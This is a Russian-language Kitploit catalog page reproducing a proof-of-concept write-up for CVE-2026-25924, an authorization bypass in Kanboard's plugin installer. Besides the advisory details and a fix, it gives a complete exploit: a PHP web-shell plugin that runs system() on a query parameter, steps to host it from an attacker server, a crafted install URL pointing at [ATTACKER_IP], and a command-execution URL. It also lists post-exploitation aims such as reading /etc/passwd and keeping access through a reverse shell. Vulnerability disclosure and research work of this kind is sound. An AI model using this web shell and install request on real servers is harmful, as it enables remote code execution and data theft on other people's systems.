Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-25924 — Эксплойт proof-of-concept для CVE-2026-25924, демонстрирующий удалённое выполнение кода с правами администратора в Kanboard через отсутствие проверки контроля доступа при установке плагинов. | Kitploit
Инструменты/GitHubGitHub/drkim-dev/cve-2026-25924
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеРазработка Полезной Нагрузки
GitHubdrkim-dev/cve-2026-25924

CVE-2026-25924

Эксплойт proof-of-concept для CVE-2026-25924, демонстрирующий удалённое выполнение кода с правами администратора в Kanboard через отсутствие проверки контроля доступа при установке плагинов.

Репозиторий
226 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-25924 PoC — Административный RCE в Kanboard

Proof-of-Concept для административного RCE через обход контроля безопасности

Раскрытие: Изначально сообщено мной через GHSA-grch-p7vf-vc4f

⚠️ Только для авторизованного пентеста/исследований.

Информация об уязвимости

ПолеЗначение
ID CVECVE-2026-25924
Серьёзность🔴 Высокая
Оценка CVSS8.4
Вектор CVSS[CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H]
CWECWE-863: Некорректная авторизация
Затронутый продуктKanboard ≤ 1.2.49
Исправленная версия1.2.50
КонсультацияGHSA-grch-p7vf-vc4f

CVE-2026-25924: Отсутствие контроля доступа при установке плагинов приводит к административному RCE

1. Резюме

Уязвимость обхода контроля безопасности в Kanboard v1.2.49 позволяет аутентифицированному администратору добиться полного удалённого выполнения кода (RCE). Хотя приложение корректно скрывает интерфейс установки плагинов, когда параметр конфигурации PLUGIN_INSTALLER установлен в false, базовый серверный endpoint не проверяет этот параметр безопасности. Злоумышленник может воспользоваться этим упущением, чтобы заставить сервер загрузить и установить вредоносный плагин, что приведёт к выполнению произвольного кода.

  • Тип уязвимости: CWE-863 (Некорректная авторизация) / CWE-94 (Внедрение кода)
  • Серьёзность: Высокая (административный RCE)
  • Затронутая версия: Kanboard <= v1.2.49

2. Детали

1
2

Kanboard использует константу безопасности PLUGIN_INSTALLER для ограничения возможности установки плагинов из удалённых URL. Она определена в app/constants.php:

Файл: app/constants.php

root@kitploit:~
21: defined('PLUGIN_INSTALLER') or define('PLUGIN_INSTALLER', strtolower(getenv('PLUGIN_INSTALLER')) === 'true'); // Disabled by default for security reasons

Приложение корректно проверяет этот параметр в методах рендеринга пользовательского интерфейса PluginController, таких как show() и directory(), используя Installer::isConfigured():

Файл: app/Controller/PluginController.php

root@kitploit:~
22:     public function show()
23:     {
...
28:             'is_configured' => Installer::isConfigured(),
29:         )));
30:     }

Однако метод install() в том же контроллере не выполняет эту проверку. Он только проверяет CSRF-токен перед загрузкой и установкой плагина из произвольного URL, указанного в параметре archive_url.

Уязвимый код в app/Controller/PluginController.php:

root@kitploit:~
56:     public function install()
57:     {
58:         $this->checkCSRFParam();
59:         $pluginArchiveUrl = urldecode($this->request->getStringParam('archive_url'));
60: 
61:         try {
62:             $installer = new Installer($this->container);
63:             $installer->install($pluginArchiveUrl); // <--- VULNERABILITY: Missing check for Installer::isConfigured()
64:             $this->flash->success(t('Plugin installed successfully.'));
65:         } catch (PluginInstallerException $e) {
66:             $this->flash->failure($e->getMessage());
67:         }
68: 
69:         $this->response->redirect($this->helper->url->to('PluginController', 'show'));
70:     }

Поскольку Installer::install() также не проверяет константу PLUGIN_INSTALLER, администратор может обойти предполагаемое ограничение, просто обратившись к endpoint напрямую с действительным CSRF-токеном. После установки вредоносный плагин автоматически загружается и выполняется Kanboard\Core\Plugin\Loader, предоставляя злоумышленнику полный RCE.

3. Proof of Concept (PoC)

Шаг 1: Создание вредоносного плагина

Создайте каталог с именем Exploit с файлом Plugin.php:

root@kitploit:~
<?php
namespace Kanboard\Plugin\Exploit;
use Kanboard\Core\Plugin\Base;

class Plugin extends Base {
    public function initialize() {
        // Web shell listener
        if (isset($_GET['cmd'])) {
            system($_GET['cmd']);
        }
    }
}

Шаг 2: Размещение архива плагина

Сожмите папку и разместите её на сервере, контролируемом злоумышленником:

root@kitploit:~
zip -r exploit.zip Exploit/
python3 -m http.server 80
8

Шаг 3: Запуск установки

Войдите в Kanboard как администратор. Получите свой csrf_token из исходного кода страницы и перейдите по адресу: http://[TARGET_IP]:8080/?controller=PluginController&action=install&archive_url=http://[ATTACKER_IP]/exploit.zip&csrf_token=[YOUR_TOKEN] 3 image image

Шаг 4: Выполнение удалённых команд

Используйте параметр cmd для выполнения произвольных системных команд: http://[TARGET_IP]:8080/?controller=DashboardController&action=show&cmd=id

6
7

4. Воздействие

Эта уязвимость позволяет администратору обойти ограничения безопасности, наложенные хостом. Добившись RCE, злоумышленник может:

  • Читать/записывать произвольные файлы на сервере (например, /etc/passwd, config.php).
  • Получить доступ ко всей базе данных и выгрузить её.
  • Перемещаться во внутреннюю сеть.
  • Сохранять постоянный доступ через веб-шелл или reverse shell.

5. Рекомендуемые меры по смягчению

Добавьте проверку Installer::isConfigured() в начале методов install() и update() в app/Controller/PluginController.php:

root@kitploit:~
if (! Installer::isConfigured()) {
    throw new AccessForbiddenException();
}
Скачать инструмент